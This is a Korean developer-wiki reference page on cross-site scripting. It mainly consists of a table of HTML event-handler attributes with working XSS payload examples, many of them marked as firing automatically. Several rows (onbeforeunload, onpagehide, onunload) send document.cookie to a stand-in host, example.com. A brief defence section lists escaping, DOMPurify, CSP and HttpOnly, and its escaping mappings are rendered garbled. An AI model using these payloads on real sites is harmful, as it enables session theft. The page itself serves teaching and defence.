내용으로 건너뛰기
잡개발자 리토의 잡위키
사용자 도구
로그인
사이트 도구
검색
도구
문서 보기
이전 판
미디어 관리자
사이트맵
로그인
>
미디어 관리자
사이트맵
기술문서:레퍼런스:보안:xss
이 문서는 읽기 전용입니다. 원본을 볼 수는 있지만 바꿀 수는 없습니다. 문제가 있다고 생각하면 관리자에게 문의하세요.
{{htmlmetatags> metatag-description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어) metatag-og:description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어) }} ====== XSS ====== <note warning> XSS (Cross Site Scripting) 공격과 방어 </note> ===== 공격 ===== ==== HTML Event Attributes ==== ^ 속성 ^ 예시 ^ 비고 ^ | onabort | <color gray>-</color> | 강제 중단/취소 | | onactivate ((Internet Explorer / Edge Legacy)) ((포커스)) | <color gray>-</color> | | | onafterprint ((<body>, <frameset>)) | <body\\ onafterprint="alert('attack')">\\ </body>\\ \\ <frameset\\ onafterprint="alert('attack')">\\ </frameset> | 인쇄 후\\ - 인쇄\\ - 취소 | | onafterscriptexecute ((Gecko 엔진)) ((<script>)) | <color gray>-</color> | | | onafterupdate ((Internet Explorer)) | <color gray>-</color> | | | onanimationcancel ((CSS 애니메이션)) | <color gray>-</color> | 강제 중단/취소 | | onanimationend ((CSS 애니메이션)) | <span\\ onanimationend="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span> | 애니메이션 종료\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | | onanimationiteration ((CSS 애니메이션)) | <span\\ onanimationiteration="alert('attack')"\\ style="animation:progress-bar-stripes 1s infinite">\\ </span> | 애니메이션 반복\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | | onanimationstart ((CSS 애니메이션)) | <span\\ onanimationstart="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span> | 애니메이션 시작\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | | onappinstalled ((Progressive Web App)) ((<body>)) | <body\\ onappinstalled="alert('attack')">\\ </body> | PWA 설치 성공 시 | | onauxclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onauxclick="alert('attack')"> | (영역 내) 떼는 순간\\ - 좌클릭 이외 | | onbeforeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) | <color gray>-</color> | | | onbeforecopy ((클립보드)) | <span\\ onbeforecopy="alert('attack')">\\ Ctrl + C\\ </span> | 복사 시작 시 | | onbeforecut ((클립보드)) | <span\\ onbeforecut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 시작 시 | | onbeforedeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) | <color gray>-</color> | | | onbeforeeditfocus ((Internet Explorer)) ((포커스)) | <color gray>-</color> | | | onbeforeinput | <input\\ onbeforeinput="alert('attack')"> | 입력 직전 | | onbeforeinstallprompt ((Progressive Web App)) ((<body>)) | <body\\ onbeforeinstallprompt="alert('attack')">\\ </body> | PWA 설치 가능 시 | | onbeforematch | <color gray>-</color> | | | onbeforepaste ((클립보드)) | <color gray>-</color> | 붙여넣기 시작 시 | | onbeforeprint ((<body>, <frameset>)) | <body\\ onbeforeprint="alert('attack')">\\ </body>\\ \\ <frameset\\ onbeforeprint="alert('attack')">\\ </frameset> | 인쇄 전 | | onbeforescriptexecute ((Gecko 엔진)) ((<script>)) | <color gray>-</color> | | | onbeforetoggle ((<details>)) | <color gray>-</color> | | | onbeforeunload ((<body>, <frameset>)) | <body\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 | | onbeforeupdate ((Internet Explorer)) | <color gray>-</color> | | | onbegin ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onbegin="alert('attack')">\\ </svg> | 애니메이션 시작\\ - 자동 실행 | | onblur ((포커스)) | <input\\ onblur="alert('attack')"> | 포커스 이탈 시 | | onbounce ((Internet Explorer / Edge Legacy)) ((<marquee>)) | <color gray>-</color> | | | oncancel ((<dialog>)) | <color gray>-</color> | | | oncanplay ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ oncanplay="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | oncanplaythrough ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ oncanplaythrough="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | oncellchange ((Internet Explorer)) | <color gray>-</color> | | | onchange ((<input>, <textarea>, <select>)) | <input\\ onchange="alert('attack')"> | 1) 값 변경\\ 2) 포커스 이탈 시 | | onchargingchange ((하드웨어)) | <color gray>-</color> | | | onclick ((포인터 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onclick="alert('attack')">\\ \\ <button\\ type="button"\\ onclick="alert('attack')">\\ Enter 또는 Space\\ </button> | (영역 내) 클릭\\ \\ Enter 또는 Space | | onclose ((<dialog>)) | <color gray>-</color> | | | oncontentvisibilityautostatechange | <span\\ oncontentvisibilityautostatechange="alert('attack')"\\ style="content-visibility:auto">\\ </span> | content-visibility:auto\\ - 자동 실행 | | oncontextlost ((하드웨어)) | <color gray>-</color> | | | oncontextmenu ((포인터 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ oncontextmenu="alert('attack')">\\ \\ <button\\ type="button"\\ oncontextmenu="alert('attack')">\\ Shift + F10\\ </button> | (영역 내) 우클릭\\ \\ Shift + F10 | | oncontextrestored ((하드웨어)) | <color gray>-</color> | | | oncontrolselect ((Internet Explorer)) | <color gray>-</color> | | | oncopy ((클립보드)) | <span\\ oncopy="alert('attack')">\\ Ctrl + C\\ </span> | 복사 실행 시 | | oncuechange ((<track>)) | <color gray>-</color> | | | oncut ((클립보드)) | <span\\ oncut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 실행 시 | | ondblclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ondblclick="alert('attack')"> | (영역 내) 더블클릭 | | ondeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) | <color gray>-</color> | | | ondevicechange ((하드웨어)) | <color gray>-</color> | | | ondevicemotion ((하드웨어)) | <color gray>-</color> | | | ondeviceorientation ((하드웨어)) | <color gray>-</color> | | | ondeviceorientationabsolute ((하드웨어)) | <color gray>-</color> | | | ondrag ((드래그 앤 드롭)) | <color gray>-</color> | | | ondragend ((드래그 앤 드롭)) | <color gray>-</color> | | | ondragenter ((드래그 앤 드롭)) | <color gray>-</color> | | | ondragleave ((드래그 앤 드롭)) | <color gray>-</color> | | | ondragover ((드래그 앤 드롭)) | <color gray>-</color> | | | ondragstart ((드래그 앤 드롭)) | <color gray>-</color> | | | ondrop ((드래그 앤 드롭)) | <color gray>-</color> | | | ondurationchange ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ ondurationchange="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onemptied ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 미디어 소스 초기화 | | onend ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onend="alert('attack')"\\ dur="1s">\\ </svg> | 애니메이션 종료\\ - 자동 실행 | | onended ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 종료 | | onerror | <img\\ src=""\\ onerror="alert('attack')"> | 로드 실패\\ - 자동 실행 | | onerrorupdate ((Internet Explorer)) | <color gray>-</color> | | | onfilterchange ((Internet Explorer)) | <color gray>-</color> | | | onfinish ((Internet Explorer / Edge Legacy)) ((<marquee>)) | <color gray>-</color> | | | onfocus ((포커스)) | <input\\ onfocus="alert('attack')"> | 포커스 진입 시 | | onfocusin ((포커스)) | <input\\ onfocusin="alert('attack')"> | 포커스 진입 시 | | onfocusout ((포커스)) | <input\\ onfocusout="alert('attack')"> | 포커스 이탈 시 | | onformchange | <color gray>-</color> | 1) 값 변경\\ 2) 포커스 이탈 시 | | onformdata ((<form>)) | <color gray>-</color> | | | onforminput | <color gray>-</color> | 입력 직후 | | onfreeze ((하드웨어)) | <color gray>-</color> | | | onfscommand ((Internet Explorer)) ((플래시)) | <color gray>-</color> | | | onfullscreenchange | <color gray>-</color> | 전체 화면 변경 | | onfullscreenerror | <color gray>-</color> | 전체 화면 오류 | | ongamepadconnected ((하드웨어)) | <color gray>-</color> | | | ongamepaddisconnected ((하드웨어)) | <color gray>-</color> | | | ongotpointercapture ((포인터)) | <color gray>-</color> | 제어권 획득 | | onhashchange | <color gray>-</color> | 해시 부분(#) 변경 | | onhelp ((Internet Explorer)) | <color gray>-</color> | | | oninput | <input\\ oninput="alert('attack')"> | 입력 직후 | | oninvalid ((<input>, <textarea>, <select>)) | <form>\\ <input\\ required\\ oninvalid="alert('attack')">\\ </form> | 유효성 | | onkeydown ((키보드)) | <input\\ onkeydown="alert('attack')"> | (키) 누르는 순간 | | onkeypress ((키보드)) | <color gray>-</color> | | | onkeyup ((키보드)) | <input\\ onkeyup="alert('attack')"> | (키) 떼는 순간 | | onlanguagechange ((시스템)) ((<body>)) | <body\\ onlanguagechange="alert('attack')">\\ </body> | 브라우저 설정\\ - 언어 추가/삭제/이동\\ - 이 언어로 표시 | | onlayoutcomplete ((Internet Explorer)) | <color gray>-</color> | | | onlevelchange ((하드웨어)) | <color gray>-</color> | | | onload | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onload="alert('attack')"> | 로드 완료\\ - 자동 실행 | | onloadeddata ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadeddata="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onloadedmetadata ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadedmetadata="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onloadstart ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadstart="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onlostpointercapture ((포인터)) | <color gray>-</color> | 제어권 상실 | | onmessage ((네트워크)) | <color gray>-</color> | | | onmessageerror ((네트워크)) | <color gray>-</color> | | | onmousedown ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousedown="alert('attack')"> | (영역 내) 누르는 순간 | | onmouseenter ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseenter="alert('attack')"> | (영역 내) 진입 시 | | onmouseleave ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseleave="alert('attack')"> | (영역 내) 이탈 시 | | onmousemove ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousemove="alert('attack')"> | (영역 내) 이동 시 | | onmouseout ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseout="alert('attack')"> | (영역 내) 이탈 시 | | onmouseover ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseover="alert('attack')"> | (영역 내) 진입 시 | | onmouseup ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseup="alert('attack')"> | (영역 내) 떼는 순간 | | onmousewheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousewheel="alert('attack')"> | (영역 내) 휠 스크롤 | | onmove ((Internet Explorer / Edge Legacy)) | <color gray>-</color> | | | onmoveend ((Internet Explorer / Edge Legacy)) | <color gray>-</color> | | | onmovestart ((Internet Explorer / Edge Legacy)) | <color gray>-</color> | | | onmozfullscreenchange ((Gecko 엔진)) | <color gray>-</color> | 전체 화면 변경 | | onmozfullscreenerror ((Gecko 엔진)) | <color gray>-</color> | 전체 화면 오류 | | onoffline ((네트워크)) | <color gray>-</color> | 온라인 → 오프라인 | | ononline ((네트워크)) | <color gray>-</color> | 오프라인 → 온라인 | | onorientationchange ((<body>)) | <body\\ onorientationchange="alert('attack')">\\ </body> | 화면 회전 | | onpagehide ((<body>, <frameset>)) | <body\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 | | onpageshow ((<body>, <frameset>)) | <body\\ onpageshow="alert('attack')">\\ </body>\\ \\ <frameset\\ onpageshow="alert('attack')">\\ </frameset> | 페이지 진입 시 | | onpaste ((클립보드)) | <span\\ onpaste="alert('attack')">\\ Ctrl + V\\ </span> | 붙여넣기 실행 시 | | onpause ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 일시중지 | | onplay ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 시작 | | onplaying ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 시작 성공 | | onpointercancel ((포인터)) | <color gray>-</color> | 강제 중단/취소 | | onpointerdown ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 | | onpointerenter ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerenter="alert('attack')"> | (영역 내) 진입 시 | | onpointerleave ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerleave="alert('attack')"> | (영역 내) 이탈 시 | | onpointermove ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointermove="alert('attack')"> | (영역 내) 이동 시 | | onpointerout ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerout="alert('attack')"> | (영역 내) 이탈 시 | | onpointerover ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerover="alert('attack')"> | (영역 내) 진입 시 | | onpointerrawupdate ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerrawupdate="alert('attack')"> | (영역 내) 이동 시 | | onpointerup ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerup="alert('attack')"> | (영역 내) 떼는 순간 | | onpopstate | <color gray>-</color> | 뒤로가기 | | onpresentationconnectionavailable ((하드웨어)) | <color gray>-</color> | | | onprogress ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onprogress="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onpropertychange ((Internet Explorer / Edge Legacy)) | <color gray>-</color> | | | onratechange ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 속도 변경 | | onreadystatechange ((비동기)) | <color gray>-</color> | | | onrejectionhandled ((비동기)) | <color gray>-</color> | | | onrepeat ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="2">\\ </svg>\\ \\ <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="indefinite">\\ </svg> | 애니메이션 반복\\ - 자동 실행 | | onreset ((<form>)) | <color gray>-</color> | | | onresize ((<body>, <frameset>, <svg>)) | <body\\ onresize="alert('attack')">\\ </body>\\ \\ <frameset\\ onresize="alert('attack')">\\ </frameset>\\ \\ <svg width="0" height="0"\\ onresize="alert('attack')">\\ </svg> | 창 크기 변경 | | onresume ((하드웨어)) | <color gray>-</color> | | | onrowenter ((Internet Explorer)) | <color gray>-</color> | | | onrowexit ((Internet Explorer)) | <color gray>-</color> | | | onrowsdelete ((Internet Explorer)) | <color gray>-</color> | | | onrowsinserted ((Internet Explorer)) | <color gray>-</color> | | | onscroll | <color gray>-</color> | 스크롤 시 | | onscrollend | <color gray>-</color> | 스크롤 정지 시 | | onscrollsnapchange | <div\\ style="scroll-snap-type:y mandatory;\\ overflow:scroll;\\ height:1px"\\ onscrollsnapchange="alert('attack')">\\ <div\\ style="scroll-snap-align:start;\\ height:1px">\\ </div>\\ <div\\ style="scroll-snap-align:start;\\ height:1px">\\ </div>\\ </div> | 스냅 대상 변경 완료\\ - 자동 실행 | | onscrollsnapchanging | <color gray>-</color> | 스냅 대상 변경 중 | | onsearch ((<input type="search">)) | <input\\ type="search"\\ onsearch="alert('attack')"> | Enter 또는 x | | onsecuritypolicyviolation | <color gray>-</color> | | | onseeked ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 위치 변경 완료 | | onseeking ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 위치 변경 중 | | onselect ((<input>, <textarea>)) | <input\\ onselect="alert('attack')"> | 텍스트 선택 시 | | onselectionchange | <color gray>-</color> | | | onselectstart | <span\\ onselectstart ="alert('attack')">\\ 텍스트\\ </span> | 드래그 시작 시 | | onshow ((Firefox)) | <color gray>-</color> | | | onslotchange | <color gray>-</color> | | | onstalled ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 미디어 로딩 중단 | | onstart ((Internet Explorer / Edge Legacy)) ((<marquee>)) | <color gray>-</color> | | | onstop ((Internet Explorer / Edge Legacy)) | <color gray>-</color> | | | onstorage ((<body>)) | <color gray>-</color> | | | onsubmit ((<form>)) | <color gray>-</color> | | | onsuspend ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 미디어 로딩 일시중단 | | ontimeupdate ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 시간 변경 | | ontoggle ((<details>)) | <color gray>-</color> | | | ontouchcancel ((터치)) | <color gray>-</color> | 강제 중단/취소 | | ontouchend ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchend="alert('attack')"> | (영역 내) 떼는 순간 | | ontouchmove ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchmove="alert('attack')"> | (영역 내) 이동 시 | | ontouchstart ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchstart="alert('attack')"> | (영역 내) 누르는 순간 | | ontransitioncancel ((CSS 트랜지션)) | <color gray>-</color> | | | ontransitionend ((CSS 트랜지션)) | <color gray>-</color> | | | ontransitionrun ((CSS 트랜지션)) | <color gray>-</color> | | | ontransitionstart ((CSS 트랜지션)) | <color gray>-</color> | | | onunhandledrejection ((비동기)) | <color gray>-</color> | | | onunload ((<body>, <frameset>)) | <body\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 | | onvisibilitychange | <color gray>-</color> | | | onvolumechange ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 볼륨 변경 | | onvrdisplayactivate ((하드웨어)) | <color gray>-</color> | | | onvrdisplaydeactivate ((하드웨어)) | <color gray>-</color> | | | onwaiting ((미디어)) ((<audio>, <video>)) | <color gray>-</color> | 재생 버퍼링 발생 | | onwebkitanimationcancel ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitanimationend ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitanimationiteration ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitanimationstart ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitcurrentplaybacktargetisitemcontainerchange ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitfullscreenchange ((WebKit 엔진)) | <color gray>-</color> | 전체 화면 변경 | | onwebkitfullscreenerror ((WebKit 엔진)) | <color gray>-</color> | 전체 화면 오류 | | onwebkitmouseforcechanged ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitmouseforcedown ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitmouseforceup ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitmouseforcewillbegin ((WebKit 엔진)) | <color gray>-</color> | | | onwebkittransitioncancel ((WebKit 엔진)) | <color gray>-</color> | | | onwebkittransitionend ((WebKit 엔진)) | <color gray>-</color> | | | onwebkittransitionrun ((WebKit 엔진)) | <color gray>-</color> | | | onwebkittransitionstart ((WebKit 엔진)) | <color gray>-</color> | | | onwebkitwillrevealbottom ((WebKit 엔진)) | <color gray>-</color> | | | onwheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onwheel="alert('attack')"> | (영역 내) 휠 스크롤 | | onzoom ((Internet Explorer)) | <color gray>-</color> | | ((https://www.w3schools.com/tags/ref_eventattributes.asp)) ((https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects)) ===== 방어 ===== * HTML 태그 무력화 * & → & * < → < * > → > * " → " * ' → ' * DOMPurify ((https://github.com/cure53/DOMPurify)) 사용 * CSP 설정 * HttpOnly 설정
문서 도구
문서 보기
이전 판
맨 위로